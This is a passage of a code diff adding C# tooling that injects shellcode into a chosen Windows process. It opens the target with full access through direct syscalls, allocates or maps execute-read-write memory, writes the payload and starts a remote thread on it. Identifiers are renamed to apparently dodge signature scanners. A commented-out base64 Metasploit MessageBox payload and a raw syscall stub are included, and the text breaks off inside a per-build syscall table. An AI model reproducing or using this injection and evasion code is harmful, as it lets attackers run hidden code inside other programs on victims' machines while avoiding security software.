+ switch (osInfo.dwBuildNumber)
+ {
+ case 10240:
+ osV = ""win10-1507"";
+ break;
+ case 10586:
+ osV = ""win10-1511"";
+ break;
+ case 14393:
+ osV = ""win10-1607"";
+ break;
+ case 15063:
+ osV = ""win10-1703"";
+ break;
+ case 16299:
+ osV = ""win10-1709"";
+ break;
+ case 17134:
+ osV = ""win10-1803"";
+ break;
+ case 17763:
+ osV = ""win10-1809"";
+ break;
+ case 18362:
+ osV = ""win10-1903-9"";
+ break;
+ }
+ break;
+ case 6:
+ switch (osInfo.dwMinorVersion)
+ {
+ case 1:
+ osV = ""w7-08"";
+ break;
+ case 2:
+ osV = ""win8-12"";
+ break;
+ case 3:
+ osV = ""win8.1-12r2"";
+ break;
+ }
+ break;
+ default:
+ osV = """";
+ break;
+ }
+ return osV;
+ }
+
+ public static unsafe int yr_var_foobar_2_ccx(string os, int method, int pid, byte[] yr_var_foobar_1_ccx)
+ {
+
+ //Process targetProcess = Process.GetProcessesByName(processName)[0];
+
+ //int id = targetProcess.Id;
+ int id = pid;
+ //Console.WriteLine(""Injecting yr_var_foobar_1_ccx on pid "" + id);
+
+ //msf messagebox x64
+ //string s = @""/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA=="";
+ //byte[] yr_var_foobar_1_ccx = Convert.FromBase64String(s);
+
+
+
+ nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
+ clientid.UniqueProcess = new IntPtr(id);
+ clientid.UniqueThread = IntPtr.Zero;
+
+ IntPtr bufferReal = IntPtr.Zero;
+ IntPtr procHandle = IntPtr.Zero;
+ syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
+ IntPtr remoteAddr = new IntPtr();
+
+ switch (method)
+ {
+ case ALLOCWRITE:
+ //Console.WriteLine(""[+] Using ALLOCWRITE method to allocate our yr_var_foobar_1_ccx in the remote process"");
+ UIntPtr sz = new UIntPtr(Convert.ToUInt32(yr_var_foobar_1_ccx.Length));
+
+ syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);
+
+ IntPtr written = IntPtr.Zero;
+ IntPtr unmanagedPointer = Marshal.AllocHGlobal(yr_var_foobar_1_ccx.Length);
+ Marshal.Copy(yr_var_foobar_1_ccx, 0, unmanagedPointer, yr_var_foobar_1_ccx.Length);
+ syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(yr_var_foobar_1_ccx.Length), ref written, os);
+
+ break;
+ case OPENSEC:
+ //Console.WriteLine(""[+] Using OPENSEC method to allocate our yr_var_foobar_1_ccx in the remote process"");
+ //create required structs/variables
+ IntPtr localAddr = new IntPtr(null);
+ Process thisProc = Process.GetCurrentProcess();
+ nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
+ uint size_ = getLowPart((uint)yr_var_foobar_1_ccx.Length);
+ liVal.LowPart = size_;
+
+ //create local section
+ IntPtr section_ = new IntPtr();
+ IntPtr viewSize = (IntPtr)(yr_var_foobar_1_ccx.Length);
+ long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);
+
+ //map local section
+ status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
+
+ //map remote section
+ status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
+
+ //copy yr_var_foobar_1_ccx to local section
+ Marshal.Copy(yr_var_foobar_1_ccx, 0, localAddr, yr_var_foobar_1_ccx.Length);
+
+ break;
+ }
+
+
+
+ //bool is64bit = Environment.Is64BitProcess;
+ int temp1 = 0, temp2 = 0;
+ nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
+ {
+ Size = sizeof(nativeStructs.NtCreateThreadExBuffer),
+ Unknown1 = 0x10003,
+ Unknown2 = 0x8,
+ Unknown3 = new IntPtr(&temp2),
+ Unknown4 = 0,
+ Unknown5 = 0x10004,
+ Unknown6 = 4,
+ Unknown7 = new IntPtr(&temp1),
+ Unknown8 = 0,
+ };
+ IntPtr hRemoteThread;
+ //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
+ //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
+ //if ALLOCWRITE then a thread is created poiting to a memory address with our yr_var_foobar_1_ccx
+ syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);
+
+ return 0;
+ }
+
+ public static uint getLowPart(uint size)
+ {
+ nativeStructs.SYSTEM_INFO info = new nativeStructs.SYSTEM_INFO();
+ nativeStructs.GetSystemInfo(ref info);
+ return (info.dwPageSize - size % info.dwPageSize) + size;
+ }
+ }
+ class nativeStructs
+ {
+
+ public const uint MEM_COMMIT = 0x00001000;
+ public const uint MEM_RESERVE = 0x00002000;
+ public const uint PAGE_EXECUTE_READWRITE = 0x40;
+
+ public const int FILE_READ_DATA = 0x0001; // file & pipe
+ public const int FILE_LIST_DIRECTORY = 0x0001; // directory
+ public const int FILE_WRITE_DATA = 0x0002; // file & pipe
+ public const int FILE_ADD_FILE = 0x0002; // directory
+ public const int FILE_APPEND_DATA = 0x0004; // file
+ public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory
+ public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe
+ public const int FILE_READ_EA = 0x0008; // file & directory
+ public const int FILE_WRITE_EA = 0x0010; // file & directory
+ public const int FILE_EXECUTE = 0x0020; // file
+ public const int FILE_TRAVERSE = 0x0020; // directory
+ public const int FILE_DELETE_CHILD = 0x0040; // directory
+ public const int FILE_READ_ATTRIBUTES = 0x0080; // all
+ public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all
+ public const int FILE_OVERWRITE_IF = 0x00000005;
+ public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020;
+
+ public const long READ_CONTROL = 0x00020000;
+ public const long SYNCHRONIZE = 0x00100000;
+ public const long STANDARD_RIGHTS_WRITE = READ_CONTROL;
+ public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL;
+ public const long STANDARD_RIGHTS_ALL = 0x001F0000;
+
+ public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF;
+ public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF;
+
+ public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
+ public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
+ public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
+ public const UInt32 TOKEN_DUPLICATE = 0x0002;
+ public const UInt32 TOKEN_IMPERSONATE = 0x0004;
+ public const UInt32 TOKEN_QUERY = 0x0008;
+ public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
+ public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
+ public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
+ public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
+ public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
+ public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
+ public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
+ TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
+ TOKEN_ADJUST_SESSIONID);
+ public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
+
+ public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
+
+ public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ |
+ FILE_READ_DATA |
+ FILE_READ_ATTRIBUTES |
+ FILE_READ_EA |
+ SYNCHRONIZE;
+
+ public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE |
+ FILE_WRITE_DATA |
+ FILE_WRITE_ATTRIBUTES |
+ FILE_WRITE_EA |
+ FILE_APPEND_DATA |
+ SYNCHRONIZE;
+
+ public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE |
+ FILE_READ_ATTRIBUTES |
+ FILE_EXECUTE |
+ SYNCHRONIZE;
+
+ public const int FILE_SHARE_READ = 0x00000001;
+ public const int FILE_SHARE_WRITE = 0x00000002;
+ public const int FILE_SHARE_DELETE = 0x00000004;
+ public const int FILE_ATTRIBUTE_READONLY = 0x00000001;
+ public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002;
+ public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004;
+ public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010;
+ public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020;
+ public const int FILE_ATTRIBUTE_DEVICE = 0x00000040;
+ public const int FILE_ATTRIBUTE_NORMAL = 0x00000080;
+ public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100;
+ public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200;
+ public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400;
+ public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800;
+ public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000;
+ public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000;
+ public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000;
+ public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001;
+ public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002;
+ public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004;
+ public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008;
+ public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010;
+ public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020;
+ public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040;
+ public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100;
+ public const int FILE_ACTION_ADDED = 0x00000001;
+ public const int FILE_ACTION_REMOVED = 0x00000002;
+ public const int FILE_ACTION_MODIFIED = 0x00000003;
+ public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004;
+ public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005;
+ public const int MAILSLOT_NO_MESSAGE = -1;
+ public const int MAILSLOT_WAIT_FOREVER = -1;
+ public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001;
+ public const int FILE_CASE_PRESERVED_NAMES = 0x00000002;
+ public const int FILE_UNICODE_ON_DISK = 0x00000004;
+ public const int FILE_PERSISTENT_ACLS = 0x00000008;
+ public const int FILE_FILE_COMPRESSION = 0x00000010;
+ public const int FILE_VOLUME_QUOTAS = 0x00000020;
+ public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040;
+ public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080;
+ public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100;
+ public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000;
+ public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000;
+ public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000;
+ public const int FILE_NAMED_STREAMS = 0x00040000;
+ public const int FILE_READ_ONLY_VOLUME = 0x00080000;
+ public const int CREATE_ALWAYS = 2;
+
+ [StructLayout(LayoutKind.Sequential, Pack = 4)]
+ public struct NtCreateThreadExBuffer
+ {
+ public int Size;
+ public uint Unknown1;
+ public uint Unknown2;
+ public IntPtr Unknown3;
+ public uint Unknown4;
+ public uint Unknown5;
+ public uint Unknown6;
+ public IntPtr Unknown7;
+ public uint Unknown8;
+ };
+
+ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+ public struct OSVERSIONINFOEXW
+ {
+ public int dwOSVersionInfoSize;
+ public int dwMajorVersion;
+ public int dwMinorVersion;
+ public int dwBuildNumber;
+ public int dwPlatformId;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
+ public string szCSDVersion;
+ public UInt16 wServicePackMajor;
+ public UInt16 wServicePackMinor;
+ public UInt16 wSuiteMask;
+ public byte wProductType;
+ public byte wReserved;
+ }
+
+
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct LARGE_INTEGER
+ {
+ public UInt32 LowPart;
+ public UInt32 HighPart;
+ }
+
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct SYSTEM_INFO
+ {
+ public uint dwOem;
+ public uint dwPageSize;
+ public IntPtr lpMinAppAddress;
+ public IntPtr lpMaxAppAddress;
+ public IntPtr dwActiveProcMask;
+ public uint dwNumProcs;
+ public uint dwProcType;
+ public uint dwAllocGranularity;
+ public ushort wProcLevel;
+ public ushort wProcRevision;
+ }
+
+
+ [Flags]
+ public enum ProcessAccessFlags : uint
+ {
+ All = 0x001F0FFF,
+ Terminate = 0x00000001,
+ CreateThread = 0x00000002,
+ VirtualMemoryOperation = 0x00000008,
+ VirtualMemoryRead = 0x00000010,
+ VirtualMemoryWrite = 0x00000020,
+ DuplicateHandle = 0x00000040,
+ CreateProcess = 0x000000080,
+ SetQuota = 0x00000100,
+ SetInformation = 0x00000200,
+ QueryInformation = 0x00000400,
+ QueryLimitedInformation = 0x00001000,
+ Synchronize = 0x00100000
+ }
+
+ public struct CLIENT_ID
+ {
+ public IntPtr UniqueProcess;
+ public IntPtr UniqueThread;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct OBJECT_ATTRIBUTES
+ {
+ public ulong Length;
+ public IntPtr RootDirectory;
+ public IntPtr ObjectName;
+ public ulong Attributes;
+ public IntPtr SecurityDescriptor;
+ public IntPtr SecurityQualityOfService;
+ }
+
+ public enum NTSTATUS : uint
+ {
+ // Success
+ Success = 0x00000000,
+ Wait0 = 0x00000000,
+ Wait1 = 0x00000001,
+ Wait2 = 0x00000002,
+ Wait3 = 0x00000003,
+ Wait63 = 0x0000003f,
+ Abandoned = 0x00000080,
+ AbandonedWait0 = 0x00000080,
+ AbandonedWait1 = 0x00000081,
+ AbandonedWait2 = 0x00000082,
+ AbandonedWait3 = 0x00000083,
+ AbandonedWait63 = 0x000000bf,
+ UserApc = 0x000000c0,
+ KernelApc = 0x00000100,
+ Alerted = 0x00000101,
+ Timeout = 0x00000102,
+ Pending = 0x00000103,
+ Reparse = 0x00000104,
+ MoreEntries = 0x00000105,
+ NotAllAssigned = 0x00000106,
+ SomeNotMapped = 0x00000107,
+ OpLockBreakInProgress = 0x00000108,
+ VolumeMounted = 0x00000109,
+ RxActCommitted = 0x0000010a,
+ NotifyCleanup = 0x0000010b,
+ NotifyEnumDir = 0x0000010c,
+ NoQuotasForAccount = 0x0000010d,
+ PrimaryTransportConnectFailed = 0x0000010e,
+ PageFaultTransition = 0x00000110,
+ PageFaultDemandZero = 0x00000111,
+ PageFaultCopyOnWrite = 0x00000112,
+ PageFaultGuardPage = 0x00000113,
+ PageFaultPagingFile = 0x00000114,
+ CrashDump = 0x00000116,
+ ReparseObject = 0x00000118,
+ NothingToTerminate = 0x00000122,
+ ProcessNotInJob = 0x00000123,
+ ProcessInJob = 0x00000124,
+ ProcessCloned = 0x00000129,
+ FileLockedWithOnlyReaders = 0x0000012a,
+ FileLockedWithWriters = 0x0000012b,
+
+ // Informational
+ Informational = 0x40000000,
+ ObjectNameExists = 0x40000000,
+ ThreadWasSuspended = 0x40000001,
+ WorkingSetLimitRange = 0x40000002,
+ ImageNotAtBase = 0x40000003,
+ RegistryRecovered = 0x40000009,
+
+ // Warning
+ Warning = 0x80000000,
+ GuardPageViolation = 0x80000001,
+ DatatypeMisalignment = 0x80000002,
+ Breakpoint = 0x80000003,
+ SingleStep = 0x80000004,
+ BufferOverflow = 0x80000005,
+ NoMoreFiles = 0x80000006,
+ HandlesClosed = 0x8000000a,
+ PartialCopy = 0x8000000d,
+ DeviceBusy = 0x80000011,
+ InvalidEaName = 0x80000013,
+ EaListInconsistent = 0x80000014,
+ NoMoreEntries = 0x8000001a,
+ LongJump = 0x80000026,
+ DllMightBeInsecure = 0x8000002b,
+
+ // Error
+ Error = 0xc0000000,
+ Unsuccessful = 0xc0000001,
+ NotImplemented = 0xc0000002,
+ InvalidInfoClass = 0xc0000003,
+ InfoLengthMismatch = 0xc0000004,
+ AccessViolation = 0xc0000005,
+ InPageError = 0xc0000006,
+ PagefileQuota = 0xc0000007,
+ InvalidHandle = 0xc0000008,
+ BadInitialStack = 0xc0000009,
+ BadInitialPc = 0xc000000a,
+ InvalidCid = 0xc000000b,
+ TimerNotCanceled = 0xc000000c,
+ InvalidParameter = 0xc000000d,
+ NoSuchDevice = 0xc000000e,
+ NoSuchFile = 0xc000000f,
+ InvalidDeviceRequest = 0xc0000010,
+ EndOfFile = 0xc0000011,
+ WrongVolume = 0xc0000012,
+ NoMediaInDevice = 0xc0000013,
+ NoMemory = 0xc0000017,
+ ConflictingAddresses = 0xc0000018,
+ NotMappedView = 0xc0000019,
+ UnableToFreeVm = 0xc000001a,
+ UnableToDeleteSection = 0xc000001b,
+ IllegalInstruction = 0xc000001d,
+ AlreadyCommitted = 0xc0000021,
+ AccessDenied = 0xc0000022,
+ BufferTooSmall = 0xc0000023,
+ ObjectTypeMismatch = 0xc0000024,
+ NonContinuableException = 0xc0000025,
+ BadStack = 0xc0000028,
+ NotLocked = 0xc000002a,
+ NotCommitted = 0xc000002d,
+ InvalidParameterMix = 0xc0000030,
+ ObjectNameInvalid = 0xc0000033,
+ ObjectNameNotFound = 0xc0000034,
+ ObjectNameCollision = 0xc0000035,
+ ObjectPathInvalid = 0xc0000039,
+ ObjectPathNotFound = 0xc000003a,
+ ObjectPathSyntaxBad = 0xc000003b,
+ DataOverrun = 0xc000003c,
+ DataLate = 0xc000003d,
+ DataError = 0xc000003e,
+ CrcError = 0xc000003f,
+ SectionTooBig = 0xc0000040,
+ PortConnectionRefused = 0xc0000041,
+ InvalidPortHandle = 0xc0000042,
+ SharingViolation = 0xc0000043,
+ QuotaExceeded = 0xc0000044,
+ InvalidPageProtection = 0xc0000045,
+ MutantNotOwned = 0xc0000046,
+ SemaphoreLimitExceeded = 0xc0000047,
+ PortAlreadySet = 0xc0000048,
+ SectionNotImage = 0xc0000049,
+ SuspendCountExceeded = 0xc000004a,
+ ThreadIsTerminating = 0xc000004b,
+ BadWorkingSetLimit = 0xc000004c,
+ IncompatibleFileMap = 0xc000004d,
+ SectionProtection = 0xc000004e,
+ EasNotSupported = 0xc000004f,
+ EaTooLarge = 0xc0000050,
+ NonExistentEaEntry = 0xc0000051,
+ NoEasOnFile = 0xc0000052,
+ EaCorruptError = 0xc0000053,
+ FileLockConflict = 0xc0000054,
+ LockNotGranted = 0xc0000055,
+ DeletePending = 0xc0000056,
+ CtlFileNotSupported = 0xc0000057,
+ UnknownRevision = 0xc0000058,
+ RevisionMismatch = 0xc0000059,
+ InvalidOwner = 0xc000005a,
+ InvalidPrimaryGroup = 0xc000005b,
+ NoImpersonationToken = 0xc000005c,
+ CantDisableMandatory = 0xc000005d,
+ NoLogonServers = 0xc000005e,
+ NoSuchLogonSession = 0xc000005f,
+ NoSuchPrivilege = 0xc0000060,
+ PrivilegeNotHeld = 0xc0000061,
+ InvalidAccountName = 0xc0000062,
+ UserExists = 0xc0000063,
+ NoSuchUser = 0xc0000064,
+ GroupExists = 0xc0000065,
+ NoSuchGroup = 0xc0000066,
+ MemberInGroup = 0xc0000067,
+ MemberNotInGroup = 0xc0000068,
+ LastAdmin = 0xc0000069,
+ WrongPassword = 0xc000006a,
+ IllFormedPassword = 0xc000006b,
+ PasswordRestriction = 0xc000006c,
+ LogonFailure = 0xc000006d,
+ AccountRestriction = 0xc000006e,
+ InvalidLogonHours = 0xc000006f,
+ InvalidWorkstation = 0xc0000070,
+ PasswordExpired = 0xc0000071,
+ AccountDisabled = 0xc0000072,
+ NoneMapped = 0xc0000073,
+ TooManyLuidsRequested = 0xc0000074,
+ LuidsExhausted = 0xc0000075,
+ InvalidSubAuthority = 0xc0000076,
+ InvalidAcl = 0xc0000077,
+ InvalidSid = 0xc0000078,
+ InvalidSecurityDescr = 0xc0000079,
+ ProcedureNotFound = 0xc000007a,
+ InvalidImageFormat = 0xc000007b,
+ NoToken = 0xc000007c,
+ BadInheritanceAcl = 0xc000007d,
+ RangeNotLocked = 0xc000007e,
+ DiskFull = 0xc000007f,
+ ServerDisabled = 0xc0000080,
+ ServerNotDisabled = 0xc0000081,
+ TooManyGuidsRequested = 0xc0000082,
+ GuidsExhausted = 0xc0000083,
+ InvalidIdAuthority = 0xc0000084,
+ AgentsExhausted = 0xc0000085,
+ InvalidVolumeLabel = 0xc0000086,
+ SectionNotExtended = 0xc0000087,
+ NotMappedData = 0xc0000088,
+ ResourceDataNotFound = 0xc0000089,
+ ResourceTypeNotFound = 0xc000008a,
+ ResourceNameNotFound = 0xc000008b,
+ ArrayBoundsExceeded = 0xc000008c,
+ FloatDenormalOperand = 0xc000008d,
+ FloatDivideByZero = 0xc000008e,
+ FloatInexactResult = 0xc000008f,
+ FloatInvalidOperation = 0xc0000090,
+ FloatOverflow = 0xc0000091,
+ FloatStackCheck = 0xc0000092,
+ FloatUnderflow = 0xc0000093,
+ IntegerDivideByZero = 0xc0000094,
+ IntegerOverflow = 0xc0000095,
+ PrivilegedInstruction = 0xc0000096,
+ TooManyPagingFiles = 0xc0000097,
+ FileInvalid = 0xc0000098,
+ InstanceNotAvailable = 0xc00000ab,
+ PipeNotAvailable = 0xc00000ac,
+ InvalidPipeState = 0xc00000ad,
+ PipeBusy = 0xc00000ae,
+ IllegalFunction = 0xc00000af,
+ PipeDisconnected = 0xc00000b0,
+ PipeClosing = 0xc00000b1,
+ PipeConnected = 0xc00000b2,
+ PipeListening = 0xc00000b3,
+ InvalidReadMode = 0xc00000b4,
+ IoTimeout = 0xc00000b5,
+ FileForcedClosed = 0xc00000b6,
+ ProfilingNotStarted = 0xc00000b7,
+ ProfilingNotStopped = 0xc00000b8,
+ NotSameDevice = 0xc00000d4,
+ FileRenamed = 0xc00000d5,
+ CantWait = 0xc00000d8,
+ PipeEmpty = 0xc00000d9,
+ CantTerminateSelf = 0xc00000db,
+ InternalError = 0xc00000e5,
+ InvalidParameter1 = 0xc00000ef,
+ InvalidParameter2 = 0xc00000f0,
+ InvalidParameter3 = 0xc00000f1,
+ InvalidParameter4 = 0xc00000f2,
+ InvalidParameter5 = 0xc00000f3,
+ InvalidParameter6 = 0xc00000f4,
+ InvalidParameter7 = 0xc00000f5,
+ InvalidParameter8 = 0xc00000f6,
+ InvalidParameter9 = 0xc00000f7,
+ InvalidParameter10 = 0xc00000f8,
+ InvalidParameter11 = 0xc00000f9,
+ InvalidParameter12 = 0xc00000fa,
+ MappedFileSizeZero = 0xc000011e,
+ TooManyOpenedFiles = 0xc000011f,
+ Cancelled = 0xc0000120,
+ CannotDelete = 0xc0000121,
+ InvalidComputerName = 0xc0000122,
+ FileDeleted = 0xc0000123,
+ SpecialAccount = 0xc0000124,
+ SpecialGroup = 0xc0000125,
+ SpecialUser = 0xc0000126,
+ MembersPrimaryGroup = 0xc0000127,
+ FileClosed = 0xc0000128,
+ TooManyThreads = 0xc0000129,
+ ThreadNotInProcess = 0xc000012a,
+ TokenAlreadyInUse = 0xc000012b,
+ PagefileQuotaExceeded = 0xc000012c,
+ CommitmentLimit = 0xc000012d,
+ InvalidImageLeFormat = 0xc000012e,
+ InvalidImageNotMz = 0xc000012f,
+ InvalidImageProtect = 0xc0000130,
+ InvalidImageWin16 = 0xc0000131,
+ LogonServer = 0xc0000132,
+ DifferenceAtDc = 0xc0000133,
+ SynchronizationRequired = 0xc0000134,
+ DllNotFound = 0xc0000135,
+ IoPrivilegeFailed = 0xc0000137,
+ OrdinalNotFound = 0xc0000138,
+ EntryPointNotFound = 0xc0000139,
+ ControlCExit = 0xc000013a,
+ PortNotSet = 0xc0000353,
+ DebuggerInactive = 0xc0000354,
+ CallbackBypass = 0xc0000503,
+ PortClosed = 0xc0000700,
+ MessageLost = 0xc0000701,
+ InvalidMessage = 0xc0000702,
+ RequestCanceled = 0xc0000703,
+ RecursiveDispatch = 0xc0000704,
+ LpcReceiveBufferExpected = 0xc0000705,
+ LpcInvalidConnectionUsage = 0xc0000706,
+ LpcRequestsNotAllowed = 0xc0000707,
+ ResourceInUse = 0xc0000708,
+ ProcessIsProtected = 0xc0000712,
+ VolumeDirty = 0xc0000806,
+ FileCheckedOut = 0xc0000901,
+ CheckOutRequired = 0xc0000902,
+ BadFileType = 0xc0000903,
+ FileTooLarge = 0xc0000904,
+ FormsAuthRequired = 0xc0000905,
+ VirusInfected = 0xc0000906,
+ VirusDeleted = 0xc0000907,
+ TransactionalConflict = 0xc0190001,
+ InvalidTransaction = 0xc0190002,
+ TransactionNotActive = 0xc0190003,
+ TmInitializationFailed = 0xc0190004,
+ RmNotActive = 0xc0190005,
+ RmMetadataCorrupt = 0xc0190006,
+ TransactionNotJoined = 0xc0190007,
+ DirectoryNotRm = 0xc0190008,
+ CouldNotResizeLog = 0xc0190009,
+ TransactionsUnsupportedRemote = 0xc019000a,
+ LogResizeInvalidSize = 0xc019000b,
+ RemoteFileVersionMismatch = 0xc019000c,
+ CrmProtocolAlreadyExists = 0xc019000f,
+ TransactionPropagationFailed = 0xc0190010,
+ CrmProtocolNotFound = 0xc0190011,
+ TransactionSuperiorExists = 0xc0190012,
+ TransactionRequestNotValid = 0xc0190013,
+ TransactionNotRequested = 0xc0190014,
+ TransactionAlreadyAborted = 0xc0190015,
+ TransactionAlreadyCommitted = 0xc0190016,
+ TransactionInvalidMarshallBuffer = 0xc0190017,
+ CurrentTransactionNotValid = 0xc0190018,
+ LogGrowthFailed = 0xc0190019,
+ ObjectNoLongerExists = 0xc0190021,
+ StreamMiniversionNotFound = 0xc0190022,
+ StreamMiniversionNotValid = 0xc0190023,
+ MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
+ CantOpenMiniversionWithModifyIntent = 0xc0190025,
+ CantCreateMoreStreamMiniversions = 0xc0190026,
+ HandleNoLongerValid = 0xc0190028,
+ NoTxfMetadata = 0xc0190029,
+ LogCorruptionDetected = 0xc0190030,
+ CantRecoverWithHandleOpen = 0xc0190031,
+ RmDisconnected = 0xc0190032,
+ EnlistmentNotSuperior = 0xc0190033,
+ RecoveryNotNeeded = 0xc0190034,
+ RmAlreadyStarted = 0xc0190035,
+ FileIdentityNotPersistent = 0xc0190036,
+ CantBreakTransactionalDependency = 0xc0190037,
+ CantCrossRmBoundary = 0xc0190038,
+ TxfDirNotEmpty = 0xc0190039,
+ IndoubtTransactionsExist = 0xc019003a,
+ TmVolatile = 0xc019003b,
+ RollbackTimerExpired = 0xc019003c,
+ TxfAttributeCorrupt = 0xc019003d,
+ EfsNotAllowedInTransaction = 0xc019003e,
+ TransactionalOpenNotAllowed = 0xc019003f,
+ TransactedMappingUnsupportedRemote = 0xc0190040,
+ TxfMetadataAlreadyPresent = 0xc0190041,
+ TransactionScopeCallbacksNotSet = 0xc0190042,
+ TransactionRequiredPromotion = 0xc0190043,
+ CannotExecuteFileInTransaction = 0xc0190044,
+ TransactionsNotFrozen = 0xc0190045,
+
+ MaximumNtStatus = 0xffffffff
+ }
+
+ [DllImport(""kernel32.dll"")]
+ public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+ [DllImport(""Kernel32.dll"", CallingConvention = CallingConvention.StdCall)]
+ public static extern void GetSystemInfo(ref nativeStructs.SYSTEM_INFO lpSysInfo);
+
+ [DllImport(""ntdll.dll"", SetLastError = true)]
+ public static extern bool RtlGetVersion(ref OSVERSIONINFOEXW versionInfo);
+ }
+
+ class syscalls
+ {
+
+
+ public static byte[] syscallSkeleton = { 0x49, 0x89, 0xCA, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
+ public static Dictionary> sysDic = new Dictionary>()
+ {
+ { ""win10-1507"", new Dictionary()
